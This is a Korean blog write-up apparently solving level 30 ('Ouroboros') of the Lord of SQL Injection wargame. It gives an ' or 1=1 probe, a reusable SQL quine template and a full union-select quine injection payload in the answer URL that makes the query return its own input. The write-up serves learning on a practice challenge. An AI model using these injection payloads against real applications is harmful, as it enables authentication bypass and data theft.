WarGame/Lord of SQL Injection

[LOSI] Lord of SQL Injection Level 30 - Ouroboros

우로보로스는 몬스터라고 하기에는 사실 무리가 있다. 연금술에서 자주 사용되는 꼬리를 먹는 뱀 모양을 본 적이 있을까 모르겠다만, 아래 사진을 보고 이런 거구나 하고 넘어가고 코드로 만나보도록 하자

 

 

<출처 : 나무위키 https://namu.wiki/w/%EC%9A%B0%EB%A1%9C%EB%B3%B4%EB%A1%9C%EC%8A%A4 >

 


코드

 

 

오! 단순하다. 저번문제가 길다 보니 이렇게 짧은 문제를 보면 기분이 좋아진다. rollup과 join, @등이 금지되어있고, 정확한 pw를 구해야 한다. (음... join과 비슷한 걸 이용하라는 느낌인가? 한번 살펴보자)


해결방법

Answer Url : los.rubiya.kr/chall/XXXX.php?pw=pw%27%20union%20select%20replace(replace(%27pw%22%20union%20select%20replace(replace(%22$%22,char(34),char(39)),char(36),%22$%22)%20as%20quine--%20%27,char(34),char(39)),char(36),%27pw%22%20union%20select%20replace(replace(%22$%22,char(34),char(39)),char(36),%22$%22)%20as%20quine--%20%27)%20as%20quine--%20

정확한 pw를 구해야 되는데, pw를 가져오는 부분이 상당히 취약하니 다음 쿼리를 날려보자

try1 : ?pw=123' or 1=1--%20;

 

 

??? 테이블이 텅비어있다 오호 이제 왜 문제가 우로보로스인지 알겠다.

"문제 해결을 위해선 입력과 출력이 같아야 한다."

파라미터로 준 pw가 그대로 response로 나와야 한다.  구글 신의 힘을 빌렸다. "Quine"이라는 프로그램 류들이 있는데, 이는 소스코드를 그대로 출력해주는 고품격 eval 같은 느낌의 기능을 말한다. 이 Quine을 이용하면 우로보로스를 해결할 수 있을 거 같다.

* 자세한 Quine은 다른 포스팅에서 이야기해보도록 하자

 

다음은 자기 자신을 리턴하는 Quine의 샘플 코드이다. REPLCAE(문자열, "치환할 문자열", "치환 후 문자열") 함수를 사용하며 겁나게 복잡하게 생겼는데, 활용할 때는 프로그래머답게 Ctrl+C Ctrl+V 하도록 하자

 

아래 샘플의 [pre]와 [post] 부분에 넣고자 하는 문자열을 추가할 수 있다.(당연히 앞과 뒤에 들어갈 말이다.)

### QUINE SQL SAMPLE CODE ###

sample code :[pre] select replace(replace('[pre] select replace(replace("$",char(34),char(39)),
char(36),"$") as quine[post]',char(34),char(39)),char(36),'[pre] select replace(replace("$",
char(34),char(39)),char(36),"$") as quine[post]') as quine[post]

 

문제 해결을 위해 특정한 PW를 넣고 싶은 것이니(여기서는 'pw'로 하자) 파라미터는 pw와 pw를 추가해줄 union을 전달하자 즉 pre는 pw' union이고, post는 주석(--%20)이 되겠다.

try2 :? pw=pw' union select replace(replace('pw" union select replace(replace("$", char(34), char(39)), char(36), "$") as quine--%20', char(34), char(39)), char(36), 'pw" union select replace(replace("$",char(34),char(39)),char(36),"$") as quine--%20') as quine--%20

 

이로서 문제를 해결할 수 있다. 축하한다.

 

 

 


Quine sql 문을 외우는 건 솔직히 무리라고 생각한다. 보고 이해하는데만 엄청난 시간을 들였기 때문이기도 하고... 알고 있다가 쓸 일이 있을 때 기억할 수 있는 정도가 좋은 거 같다.